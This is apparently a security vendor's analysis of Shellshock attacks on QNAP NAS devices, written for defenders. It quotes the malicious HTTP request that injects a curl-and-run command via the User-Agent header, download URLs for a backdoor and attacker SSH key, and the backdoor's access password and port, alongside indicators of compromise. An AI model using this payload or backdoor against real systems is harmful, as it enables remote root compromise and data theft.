The Shellshock Aftershock for NAS Administrators

FireEye has been monitoring Shellshock-related attacks closely since the vulnerability was first made public last week. Specifically, FireEye has observed attackers attempting to exploit the BASH remote code injection vulnerability against Network Attached Storage systems (NAS). These attacks result in the hackers having a root level remote shell, gaining full access to the contents of the NAS. The observed targets have been primarily located in Japan and Korea with one additional target observed in the US. The only known data on the attackers currently are that two of their malware host servers are located in Korea and the US.

NAS systems are used by enterprises to store large volumes of files and house databases, as well as by consumers for personal storage. This makes an NAS an attractive target for attackers given the broad types of data they handle. In this case, the attackers can gain full access the NAS contents as well as execute other commands.

Based on the sheer number of devices which run an embedded Linux OS and the time-to-patch window, we feel the potential for widescale compromise of network-connected personal and business data storage systems is very high at this time. As many smart- or connected-devices utilize similar set-ups, this represents one of the first in the wild Shellshock attack against IoT-type devices.

We have evidence that attackers are actively exploiting the time-to-patch window and targeting embedded devices, specifically those made by QNAP, in order to append their SSH key to the authorized_keys file and install an ELF backdoor.

Background

This particular attack, on a popular brand of network attached storage devices, is an excellent example of the type of threat currently facing devices that run an embedded Linux operating system. As stated on the manufacturer’s website:

“QNAP Inc. is the worldwide leading storage system provider who is one of the top 2 NAS provider in the sub $5k business segment according to Gartner Research Group in 2010. The product line covers NAS, NVR video surveillance, and network media players to consumer, small/medium business, and enterprise market segments.”

Virtually all of their devices run an embedded Linux OS that is vulnerable to CVE-2014-6271 if left unpatched. This includes personal and business network storage as well as professional video surveillance systems used in a variety of industries. This vulnerability is particularly severe because it grants root privileges to the attacker, and proof of concept exploit code is publicly discussed here.

Figure 1 – QNAP product specification page listing Embedded Linux as the OS.

According to the press release from QNAP, users are advised to disconnect systems that are directly accessible from the Internet until the proper update is applied. However, this would not prevent hackers from moving laterally and compromising the device from another machine on the network. At the time of this writing QNAP has released an update, which is available here.

THE ATTACK

Starting approximately September 26, 2014, FireEye detected thousands of attempts at accessing /cgi-bin/ directories over TCP port 8080. While this may not seem all that unusual given the current storm of Shellshock scans, it is notable because scans that contain commands to fetch additional files occur far less frequently.

The attack vector observed was the administrative login page located at /cgi-bin/authLogin.cgi.

Figure 2 – Example QNAP NAS appliance login pages

Vulnerable CGI pages can be tested for Shellshock via a simple test from the command line. For example if we wanted to test an Apache web server, from a test system with curl installed, issue the following HTTP request:

 

Figure 3 – command line test for Shellshock using Curl.

Where 192.168.101.131 is the webserver we are testing for Shellshock.

The above test will send 5 ICMP Ping packets from the vulnerable server to 192.168.101.130 (change IP’s to suit).

If the system returns an Error 500 and you see an ICMP ping from the target system then you know the attack worked.

Figure 4 – Example request to a vulnerable Linux web server w/ response code 500

Figure 5 – Wireshark view of ICMP pings from the vulnerable web server

Figure 6 – view of offending HTTP header used in our test

An even simpler test is available if the system is directly connected to the internet (and we found many of these devices are). Simply use any of the freely available Shellshock test sites and point them to the administration page of the device.

Figure 7 – Example results against an openly accessible QNAP NAS

We should mention that QNAP devices are not the only devices we saw with administrative pages in the/cgi-bin/ path on port 8080. HP printers were also caught in the crossfire. However we did not confirm whether these devices were actually vulnerable and do not believe they were the intended target of this attack.

All the targets we have observed thus far have been openly accessible QNAP NAS systems hosted on networks belonging to Universities and Research Institutes in Japan and Korea, as well as one in the US.

The exploit attempts targeting QNAP devices that were detected by FireEye attempted to instruct the system to download a script. When executed, the script would modify the NAS device’s startup environment; copy an SSH key; and then retrieve a Linux ELF binary.

The “curl” command was injected into the User-Agent field of an HTTP request to the NAS, which instructed the device to craft a custom HTTP request to nova.ddns.us. This resolves to an IP located in Korea.

Figure 8 – the malicious GET request observed in the attack

The above request was observed leveraging the exploit to download files from 118.218.219[.]179. This is akin to an administrator (UID=0) being logged in to the device and copying files from an external server to the “/root” directory and executing them. However, in this case, it’s all happening quietly behind the scenes without any user interaction.

Figure 9 – IP & Geo location info for the Korea located server hosting malicious files.

We detected a second server in the US at IP 107.191.116[.]167.

GET /cgi-bin/authLogin.cgi HTTP/1.1

User-Agent: () { :;}; /sbin/curl http://107.191.116[.]167/once -o /root/once;/bin/sh /root/once

Figure 10 – IP & Geo location info for the US server hosting malicious files.

If the request is successful in exploiting the NAS system, it will proceed to download a file named “once.” This file is a shell script intended to copy additional scripts to the “/root” directory of the NAS as well as an SSH key to facilitate future logins.

Figure 11 – contents of “once”, note the mis-spelled “autorized_keys.”

The script quietly sets the NAS’s local DNS to use Google’s DNS servers and then uses wget or curl to retrieve additional files and copy them from the host seen in the User-Agent field of the Shellshock tainted request. In this case they are coming from dynamic DNS hosted nova.ddns.us (still up at the time of this writing).

hXXp://nova.ddns[.]us/authorized_keys to à /root/.ssh/authorized_keys

hXXp://nova.ddns[.]us /autorun.sh to à $local_path/autorun.sh

The script then downloads an ELF backdoor to the local system.

hXXp://nova.ddns[.]us/term_$arch à $local_path/term

Where $arch contains a string representing the machine’s architecture, as output by “uname –m.”

In this case we used “x86_64” making the path to the desired file

hXXp://nova.ddns.us/term_x86_64.

We were also able to retrieve a 32 bit version named “term_i686”.

Both files are Linux ELF binaries unknown to VT at time of analysis:

64bit file MD5: 24bdef31e71342ae413bd2d6ee766564

32bit file MD5: 87a8da400230500026f674c9d0452a11

COPIED SSH KEY

An interesting component of the attack is the script also attempts to copy an SSH key to the local authorized_keys file on the NAS device, this allows future password-less logins, creating a backdoor for the attacker to the NAS device.

The contents of SSH key from nova.ddns.us/authorized_keys:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmm9yrZmk82sex8JLLeWs/y4v6iI4cxgqm6Y3sDkT/d5WJZ39pm6k6x8Z7mTKyVWJUSV2MOcwzfUuk10jmaT9PO0Og0mAEv5ZQwFKPZaMvXkI/6B/LQx//RkCWLA7l68/8kKeTV/1bU/iLu/kK4xVFVTQFDh4H72cGCuovslTzqaSZjDDkrDx2uGkWXFejoOBCeGm8aDjZchcekAJBlnHhc56N6vjjwNlDi2gw1pmD+gmNafUYQoimbGPPfKK84TZIBlnNdFIBfz/YbAn4Vib/5HJb9JdFVt+sKiVzm4EPVrY4WwRIvhugmPwlazGcYFZQpB6FFJ2FDmlQAQUugyiv root@nova

The script also overwrites the local qpkg.conf file, which is the autostartup configuration file native to QNAP Network Attached Storage systems. This essentially configures the NAS appliance to autorun the “autorun.sh” script and maintains persistence for the attackers.

The autorun.sh script then looks for the directory “/share/MD0_DATA” which is a common share path for QNAP Network Attacked Storage systems. If this directory is not found, it goes on to search for other available directories with “share” in the name. The share directory is used to build the base installation directory for the malware.

Figure 12 – contents of autorun.sh script

The script also has its own update mechanism that will run every time the autostart is kicked off. The contents ofupdate.sh were empty when checked however we speculate attackers would modify it at some point.

THE ELF BACKDOOR

The downloaded ELF executable, named term_x86_64 or term_i686 depending on the architecture of the victim’s OS, is a backdoor that provides shell access to the attacker.

It can be invoked in 3 different ways, providing some options for the attacker.

• Running it with no arguments will have the executable listen for connections on port 58273.
• Running it with 1 argument will have it listen for connections on the port number specified in the argument.
• Running it with 2 arguments has it make an outbound connection to the host specified in the first argument using the port specified in the second argument.

In the cases where the backdoor is listening for a connection, a password is required before shell access is granted. Sending a packet containing the text “IAMYOURGOD” will have the malware setup and serve the shell to you, otherwise it closes the connection. In the attacks we have seen, this backdoor is executed with no arguments and hence will listen for connections on port 58273.

INDICATORS

The following indicators may help in identifying if your system has been compromised.

SSH KEY

Presence of the following ssh key anywhere on your system indicates that the attacker was successful in copying the key.

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmm9yrZmk82sex8JLLeWs/y4v6iI4cxgqm6Y3sDkT/d5WJZ39pm6k6x8Z7mTKyVWJUSV2MOcwzfUuk10jmaT9PO0Og0mAEv5ZQwFKPZaMvXkI/6B/LQx//RkCWLA7l68/8kKeTV/1bU/iLu/kK4xVFVTQFDh4H72cGCuovslTzqaSZjDDkrDx2uGkWXFejoOBCeGm8aDjZchcekAJBlnHhc56N6vjjwNlDi2gw1pmD+gmNafUYQoimbGPPfKK84TZIBlnNdFIBfz/YbAn4Vib/5HJb9JdFVt+sKiVzm4EPVrY4WwRIvhugmPwlazGcYFZQpB6FFJ2FDmlQAQUugyiv root@nova

Logs

Checking web logs for presence of HTTP requests using the string of bytes used in a Shellshock attack may also help identify exposed systems.

Requests will contain the characters “() { “ (HEX: 28 29 20 7b 20) somewhere in the HTTP header or URI.

LINUX Malware

64 BIT ELF binary

Filename: term_x686_64

MD5: 24bdef31e71342ae413bd2d6ee766564

 

32 BIT ELF binary

Filename: term_i686

MD5: 87a8da400230500026f674c9d0452a11